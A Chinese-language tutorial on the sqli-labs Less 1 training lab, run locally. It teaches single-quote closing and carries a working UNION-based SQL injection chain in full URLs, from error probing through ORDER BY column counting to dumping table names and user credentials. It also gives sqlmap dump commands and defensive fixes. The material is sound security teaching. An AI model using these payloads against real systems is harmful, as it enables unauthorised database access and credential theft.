1. 靶场环境准备与Less 1初识
1.1 为什么选sqli-labs当第一个SQL注入靶场
很多刚接触Web安全的朋友问我同一个问题:入门SQL注入,到底该拿什么练手?我给的答案几乎永远是同一条路——先把sqli-labs的Less 1到Less 10撸一遍。
原因很简单。sqli-labs这套靶场最大的优点不是难度高,而是每一关的目标极其单一,甚至刻意到"教学大纲"的程度。Less 1就是教你怎么打一次最经典、最基础的字符型单引号注入。你不需要考虑WAF、不需要猜过滤规则、不需要处理复杂的编码问题,所有干扰项都被作者去掉了,剩下的就是一个最朴素的注入链路。这种"裸奔"环境对建立肌肉记忆非常有帮助,等你把Less 1到Less 4的闭合方式差异吃透,后面遇到真实系统里千奇百怪的拼接逻辑,脑子里的第一反应就是往"闭合-逃逸-构造"这个方向走,而不是拿一堆payload盲目试探。
也有人一上来就开sqlmap扫,扫完拿到数据还挺高兴。我不是说工具不行,工具是效率利器,但前提是你得知道它每一步在干什么。你要是连"为什么加个单引号就会报错""为什么union后面要接select 1,2,3"都没弄明白,那工具对你来说就是个黑盒,早晚会在真实战里翻车。
1.2 环境搭建与工具准备
sqli-labs是基于PHP和MySQL的,所以你需要一个能跑PHP的环境。这里我给一套我一直在用的轻量组合:
- PHP环境:我用的是phpstudy,Windows下点几下就能启一个Apache+PHP+MySQL的集成环境,省去手动配置的折腾。
- 靶场源码:下载sqli-labs项目压缩包,解压后放到网站根目录,我用的是默认的
/sqli-labs路径。 - 浏览器:Chrome或Firefox都行,我习惯Chrome,方便看开发者工具里的网络请求。
- Burp Suite:社区版就够用,后面想分析原始HTTP请求时很方便。不过Less 1这个量级,不用Burp也能完成,我建议初学阶段先别看Burp,专心盯浏览器地址栏就够了。
安装时有两个细节容易踩坑,提前说:
第一,phpstudy默认的MySQL端口是3306,sqli-labs的配置文件一般在/sqli-labs/sql-connections/db-creds.inc里,默认的用户名密码是root和root。如果你本机MySQL密码不是这个,直接改这个文件就行,别去动数据库本身的配置。
第二,启动靶场后,首页会有一个创建数据库的按钮或者setup链接,点击完成初始化。Less 1用的库叫security,里面有users、emails、referers几个表,后续爆库爆表就是拿这些数据练手。
环境OK之后,打开浏览器访问:
http://127.0.0.1/sqli-labs/Less-1/你会看到一个很大的标题,写着Less 1,下面是一个输入框,提示你输入ID。输入?id=1,页面会显示用户名和密码两行内容。这就是Less 1的全部界面,也是你接下来要攻击的目标。
1.3 认识Less 1的页面结构
先别急着上手打,观察一下这个页面。
在地址栏输入?id=1,页面返回内容大概是这样的:
Your Login name: Dumb Your Password: Dumb输入?id=2,变成:
Your Login name: Angelina Your Password: I-kill-you也就是说,页面接收id参数,然后从数据库某张表里查出对应的用户名和密码回显到页面上。这个"根据输入动态查数据库再回显"的模式,就是SQL注入的温床。你在地址栏输入的所有内容,最终都会被拼接到SQL语句里,而Less 1恰恰是拿你输入的内容直接拼接,没有做任何过滤。
到这里,第一关的全貌已经清楚了。接下来我们进入原理部分,搞清楚你输入的字符在SQL语句里到底发生了什么。
2. SQL注入的核心原理:引号闭合与语句逃逸
2.1 动态SQL拼接的隐患
Less 1的PHP代码逻辑,本质上就是一段字符串拼接的SQL查询,类似这样:
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";注意看这个SQL的结构。id='$id'里的$id是你通过URL传入的id参数值,而'是SQL里的字符串定界符。也就是说,服务端认为用户传进来的id应该是一个字符串类型,所以用单引号把它包起来。
问题来了:如果$id这个值本身就包含单引号,比如你传的是1',那么最终拼接出来的SQL变成:
SELECT * FROM users WHERE id='1'' LIMIT 0,1数据库一解析:id='1',然后后面多出来一个单引号,语法直接报错。MySQL的报错信息会暴露在页面上,而这,就是注入的起点。
用生活化的方式理解一下吧。你把SQL语句当成一句完整的话,单引号是这句话里的"引号"——用来表示一段引文。你传入的内容被塞进这句话里之后,如果你在内容里也放了一个引号,就等于把这句话的引文提前闭合了,后面的内容就变成了你自由发挥的余地。这种"提前闭合引号,再插入自己想要的内容"的操作,在注入里有个经典叫法——闭合与逃逸。你闭合了原本的字符串,同时让自己的SQL片段逃逸出字符串的边界,成为真正的SQL逻辑。
2.2 字符型与数字型注入的区别
看到id='$id'和id=$id的区别了吗?前者是字符型注入,后者是数字型注入。Less 1是字符型,这也是为什么Less 1通常被拿来当第一关——字符型注入比数字型多一个闭合的步骤,理解了这个步骤,后面很多变种都迎刃而解。
数字型注入的SQL理论上是:
SELECT * FROM users WHERE id=$id LIMIT 0,1这种写法下,你传id=1 and 1=1,SQL就变成WHERE id=1 and 1=1,没有引号问题,直接成立。而字符型注入必须考虑:你怎么让SQL语句里的引号成对匹配,不留语法错误。
Less 1用的是字符型,所以你的思路应该是:我传一个',让原本的'1'闭合掉一个引号,同时通过注释符--+或#把SQL最后的' LIMIT 0,1屏蔽掉,让整条语句在语法上自洽。
2.3 单引号闭合的完整过程
这里我把闭合过程画成一个逐步演化的过程,方便你理解:
原始SQL:
SELECT * FROM users WHERE id='$id' LIMIT 0,1你在URL里传入id=1',实际拼接:
SELECT * FROM users WHERE id='1'' LIMIT 0,1括号里其实是这样:id=后面是一个字符串,内容为1',再跟着一个'。数据库看到'1'这个字符串结束之后,又来了一个单引号,语法错误,报错。
然后你传入id=1' --+,注意--+在MySQL里是注释符,+在某些情况下被当作空格处理。实际拼接:
SELECT * FROM users WHERE id='1' --+' LIMIT 0,1这时候数据库把--+后面的内容全部当成注释忽略,SQL语句变成:
SELECT * FROM users WHERE id='1'语法完全正确,查询正常执行。而你现在已经成功地把原有SQL的"闭合"控制在自己手里了,后面想接什么都行。这个就是Less 1最核心的机制。
提示:如果
--+不生效,可以试试--(注意后面要有空格)或#。URL里直接传#可能需要编码成%23,否则浏览器和部分服务端会把它当锚点或特殊字符处理。
到这里,原理吃透了,下面进入真正的实战环节——手工注入的完整流程。
3. 手工注入完整实操:从报错到拖库一步步来
3.1 第一步:探测是否存在注入点
打开Less 1页面,先输入正常参数?id=1,确认页面正常显示。接下来在地址栏输入:
http://127.0.0.1/sqli-labs/Less-1/?id=1'页面会变成类似这样的报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1看这个报错,信息量非常大。它透露出两件事:
第一,参数直接拼接进了SQL语句,程序没有进行任何过滤,否则不会裸报语法错误。
第二,报错内容中的''1'' LIMIT 0,1这一段暴露了SQL的尾部结构,你能看到LIMIT 0,1这个分页限制。这种"能看到原始SQL片段"的情况,在真实渗透里属于高价值信息泄露。
既然报错确认了注入点存在,接下来试试?id=1' --+,页面恢复默认显示,说明注释符成功屏蔽了末尾的单引号,我们的闭合思路正确。
3.2 第二步:用ORDER BY确定字段数
注入点确认了,现在要搞清楚查询返回了几个字段。这一步通常用ORDER BY来做。
ORDER BY是SQL里按指定列排序的子句,它的特点是:你可以按列的序号来排序,比如ORDER BY 1就是按第1列排,ORDER BY 2就是按第2列排。如果序号超出了实际列数,数据库会报错,这就给了我们探测列数的方法。
在URL里依次尝试:
http://127.0.0.1/sqli-labs/Less-1/?id=1' ORDER BY 1 --+ http://127.0.0.1/sqli-labs/Less-1/?id=1' ORDER BY 2 --+ http://127.0.0.1/sqli-labs/Less-1/?id=1' ORDER BY 3 --+ORDER BY 1、ORDER BY 2、ORDER BY 3页面都正常。继续试ORDER BY 4:
http://127.0.0.1/sqli-labs/Less-1/?id=1' ORDER BY 4 --+页面报错。这就说明当前SELECT语句实际返回3列,ORDER BY 4超出了范围。
这一步的判断逻辑总结成一个速查表:
| 探测语句 | 页面表现 | 结论 |
|---|---|---|
id=1' ORDER BY 1 --+ | 正常回显 | 有第1列 |
id=1' ORDER BY 2 --+ | 正常回显 | 有第2列 |
id=1' ORDER BY 3 --+ | 正常回显 | 有第3列 |
id=1' ORDER BY 4 --+ | SQL报错 | 当前查询最多3列 |
注意:ORDER BY的列号是从1开始数的,不是从0开始。不少新手上来就试
ORDER BY 0,完全是给自己找麻烦。
3.3 第三步:用UNION SELECT确认回显位置
知道有3列之后,下一个问题:这3列在页面上分别显示在哪里?换句话说,哪一列的内容是会回显到页面的?这一步用UNION SELECT来测。
UNION操作符可以把两个SELECT查询的结果合并成一个结果集。我们需要让第一个查询(也就是原本的)结果为空,从而让第二个查询(我们自己构造的)结果回显到页面上。怎么让第一个查询结果为空?把id改成不存在的一个负数,比如-1。
构造URL:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,2,3 --+页面上会显示类似:
Your Login name: 2 Your Password: 3观察一下,数字2显示在了用户名位置,数字3显示在了密码位置,数字1没有显示出来。这说明:查询结果的第2列对应页面上的用户名回显位,第3列对应密码回显位,第1列虽然存在于查询中,但页面没有展示。
知道了回显位,后面爆数据就非常顺畅。我们把第2列和第3列替换成需要的查询内容,页面就会输出结果。
3.4 第四步:爆库名
接下来要摸清楚数据库里有什么。先从最顶层的库名开始。
把刚才UNION SELECT 1,2,3里的2换成database()函数,database()会返回当前使用的数据库名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,database(),3 --+页面上的用户名位置会显示security。这就是当前数据库名。
这一步很多人会忽略其意义,觉得"爆库名而已,有什么大不了的"。但实际上,库名是后续访问information_schema的钥匙。information_schema是MySQL自带的元数据库,里面存了所有数据库、表名、列名的元信息。有了库名,你才能精确过滤出这个库里有哪些表、哪些列。
3.5 第五步:爆表名
拿到库名security之后,接着查这个库里有哪些表。表的元信息存在information_schema.tables里,关键字段是table_schema和table_name。
构造URL:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='security' --+等一下,这里有坑。如果你直接这样写,返回的只有一行数据——因为页面只显示查询结果的第一行。而你需要的是所有表名,所以得用GROUP_CONCAT把多行结果合并成一行,或者用LIMIT 0,1一页一页翻。我推荐用GROUP_CONCAT,一次看全:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='security' --+页面会输出类似:
Your Login name: emails,referers,uagents,users说明security库里有4张表。重点关注users表——从名字就能看出,里面大概率存着用户名和密码。
3.6 第六步:爆字段名
接着查users表里有哪些列。列名信息存在information_schema.columns里,关键字段是table_name和column_name。
构造URL:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users' --+页面输出类似:
Your Login name: id,username,passwordusers表有3列:id、username、password。非常简单清晰,跟页面展示的逻辑完全对得上。
3.7 第七步:爆数据
最后一步,把users表里的username和password字段内容拖出来。一次拖全部数据,用GROUP_CONCAT合并成一行:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+页面输出:
Your Login name: Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 Your Password: Dumb,I-kill-you,p@ssword,crappy,stupid,genius,mob!@#$%,admin,admin1,admin2,admin3,dumbo,admin4到这里,Less 1的完整注入链路已经打通:从探测注入点,到确定字段数,再到利用回显位置,最终拿到数据库的所有敏感数据。整个过程没有用到任何自动化工具,全部手工完成。
这个七步链路,是整个SQL注入入门阶段最重要的路线图。什么order by、union select、database()、information_schema,这些看似零散的知识点,在这一条链路上全部串联起来了。
4. 源码视角复盘:为什么Less 1会"裸奔"
4.1 看PHP源码,找到漏洞根因
打了这么久,该看看源码了。打开sqli-labs目录下的Less-1/index.php,核心代码大概长这样:
$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysqli_query($con, $sql); $row = mysqli_fetch_array($result); if ($row) { echo "Your Login name: " . $row['username']; echo "Your Password: " . $row['password']; } else { echo "查询失败"; }看明白了吗?这代码的问题一目了然:
$_GET['id']直接被拼进SQL字符串,没有任何过滤、转义或类型校验。- 报错信息直接输出给前端,没有做错误处理。
- 回显数据直接输出,没有做输出编码。
简单说,这是一个"输入不过滤、错误不隐藏、输出不处理"的三无代码。Less 1作为教学靶场,刻意保留了最原始、最脆弱的写法,就是为了让你清楚看到漏洞是怎么产生的。
4.2 模拟一次完整的语句构造过程
我来把最终拿到数据的那个请求,在后台到底变成什么样写一遍。
你发的URL参数是:
id=-1' UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+PHP拼接后的完整SQL语句是:
SELECT * FROM users WHERE id='-1' UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+' LIMIT 0,1分析一下这条语句的演化:
id='-1':原来的查询条件,因为-1在表里不存在,所以第一个查询返回空集。UNION SELECT ...:UNION把第二个查询结果合并进来,因为第一个查询是空集,所以最终显示的就是第二个查询的结果。--+:把原本SQL末尾的' LIMIT 0,1注释掉,防止语法报错。
三个动作,缺一不可。少了-1,第一个查询会返回一行数据,你写的union结果就在第二行,页面不一定显示;少了UNION SELECT,你没法构造自己的查询;少了--+,语句语法不完整,直接报错。
这就是我前面说的"闭合与逃逸"三要素:让原查询落空、插入自己的查询、注释掉多余尾巴。
4.3 从Less 1反推防御手段
很多新手打完靶场就过去了,但我建议多一步逆向思考:如果让你来修复这个漏洞,你会怎么做?
最直接的办法是使用预处理语句。PHP里用PDO的话,可以这样写:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1"); $stmt->execute([$_GET['id']]);预处理语句会把SQL逻辑和参数数据分离开,你传入的单引号、union、注释符,全都被当成"数据"来处理,永远不会逃逸成"SQL逻辑"。这是目前最有效的防注入手段之一。
另一个办法是在输入侧做类型校验。比如id本意是数字,那就强制转成整数:
$id = (int)$_GET['id'];这样一来,你传什么1' UNION SELECT都没用,因为(int)强转会把它变成0或1。
Less 1为什么不防?因为它要教学。理解了这个不防御的版本,你才能明白防御到底在防什么、怎么防、为什么有效。
5. 实战中的常见问题与排查技巧实录
5.1 按教程加单引号,页面却没报错
如果你是照着教程一步步来的,但在?id=1'这一步没有看到红色报错,页面反而正常显示或者空白了,那大概率是你的环境设置有问题。最常见的原因有两个:
第一,你的PHP版本开了magic_quotes_gpc。这是一个古老的PHP配置,会自动对GET/POST里的特殊字符加反斜杠转义,导致你传的'变成\',数据库收到的就是普通字符串,不会触发语法错误。这个配置在PHP 5.4之后默认移除了,但如果你在旧环境里跑,一定要去php.ini确认它是关闭的。
第二,你访问的根本不是Less 1的页面,或者数据库没初始化。确认一下地址栏是不是Less-1目录,以及是否执行过sql-connections里的初始化SQL。
5.2 UNION SELECT回显是空白
这个问题我见新手问过最多。明明UNION SELECT 1,2,3了,页面上什么都没有。先别急,按顺序排查:
- 确认原查询是否真的为空。
id=-1查不到数据,页面才有空位显示union的结果;如果id=1能查到数据,union的结果排在第二行,页面只显示第一行,你当然看不到。 - 确认字段数是否真的对。
UNION要求两个SELECT返回的列数一致,Less 1是3列,你写UNION SELECT 1,2,2列和3列合并会直接报错。 - 确认注释符是否生效。
--+在有些浏览器或代理环境下可能被改写,换成%23(即#)试试。
5.3 ORDER BY和UNION SELECT的报错要区分看
有的新手会把ORDER BY报错和UNION报错混为一谈。实际上这两种报错代表完全不同的问题:
ORDER BY 4报错,说明查询的列数小于4,你在用ORDER BY探测列数。UNION SELECT 1,2,3,4报错,说明两个SELECT的列数不一致,你要么多写要么少写了列数。
两者虽然都会报错,但排查方向完全不同。搞不清这个,调试的时候会走很多弯路。
5.4 information_schema查询不出数据
如果前面都正常,但在查information_schema.tables时页面空白,可能是权限问题。当前数据库用户对information_schema有访问权限,但在某些配置下,可能对具体表的元数据不可见。Less 1默认用的root用户,一般不会遇到这个问题。如果你改了数据库用户,记得确保该用户至少有SELECT权限。
另外别忘了:table_schema='security'里的是库名,必须加单引号。有些新手把security当数字传,SQL变成table_schema=security,MySQL会把它当成列名,那肯定查不出来。
5.5 URL里的特殊字符被浏览器吃掉
这是很多初学阶段容易被绕晕的问题。在URL地址栏直接输入#,浏览器会把它当锚点,后面的内容根本不会发到服务器。所以传#注释符时,要么用%23,要么改用--+。
还有一个细节:+号在URL里会被解析为空格。所以你传--+,实际发给服务端的可能是--(两个减号加一个空格)。这其实没问题,因为MySQL的--注释符本来就需要后面跟一个空格。很多人不理解为什么payload里要写+而不是空格,这就是原因——URL里面空格会被当成%20,而+经常被自动转成空格。
5.6 问题排查速查表
| 现象 | 可能原因 | 检查方法 |
|---|---|---|
| 加单引号不报错 | magic_quotes_gpc开启 | 查看phpinfo确认配置 |
| UNION不回显 | 原查询未置空 | 把id改为-1或不存在值 |
| UNION报错 | 列数不一致 | 回到ORDER BY确定列数 |
| 注释不生效 | 注释符被URL转义 | 改用%23或调整编码 |
| information_schema空白 | 权限不足或库名写错 | 检查用户权限、核对引号 |
| 页面大量空白 | PHP报错被隐藏 | 打开php display_errors开关 |
这张表我每次带新人都打印一份,照着排查,基本能解决Less 1阶段90%的问题。
6. 打完Less 1之后:扩展思路与下一步路径
6.1 用sqlmap做一次交叉验证
手工注入打通之后,建议再用sqlmap打一遍,目的不是偷懒,而是交叉验证。你手工操作时对每个步骤的理解,拿到自动化工具的输出一对比,会非常直观。比如sqlmap会输出注入类型、payload、数据内容,你可以对照自己手工拿到的库名、表名、数据,看是否一致。
Less 1上sqlmap的用法很简单,可以这样跑:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs先爆库名,再指定库名爆表名:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables最后拖数据:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump如果sqlmap跑出来的结果跟你手工注入的完全一致,说明你的注入链路没问题,同时也说明你理解了工具背后的原理。
6.2 跟Less 2、Less 3对比,理解闭合方式的演变
打完Less 1,别急着跳难度,先把Less 2和Less 3各打一遍,然后对比三关的SQL拼接差异:
- Less 1:
WHERE id='$id',字符型,单引号闭合。 - Less 2:
WHERE id=$id,数字型,不需要闭合引号。 - Less 3:
WHERE id=('$id'),字符型,单引号加括号。
你会发现,Less 3的报错信息跟Less 1不一样,它多了一个括号,因此你的闭合手法也要跟着变,需要额外补一个右括号。这个"从报错信息里反推SQL结构"的能力,就是Less 3和Less 4想训练你的核心点。
6.3 从靶场到真实环境的思维升级
最后我只说一句最关键的:靶场是教你"原理",真实环境的挑战在于"变种"。Less 1的裸奔SQL拼接在今天几乎不存在了,但它的变种到处都是——单引号被转义、关键词被过滤、参数被强制类型转换、输出被编码。每学一个新绕过技巧,都回来想一想:如果Less 1加了这个过滤,我该用什么姿势打?这样练下来,SQL注入才算真正入了门。
我自己带过不少新人,凡是能把Less 1到Less 4的闭合差异、注入链路、information_schema的查询逻辑讲明白的人,后面学二阶注入、宽字节注入、堆叠注入都会特别快。反之,那些只拿sqlmap扫着玩的人,遇到一个带WAF的目标就直接卡死,因为他不知道绕过WAF的payload到底在绕过什么东西。
Less 1这关在整个sqli-labs里只是冰山一角,但它的价值恰恰体现在"基础"两个字上。基础打得牢,后面才会走得远。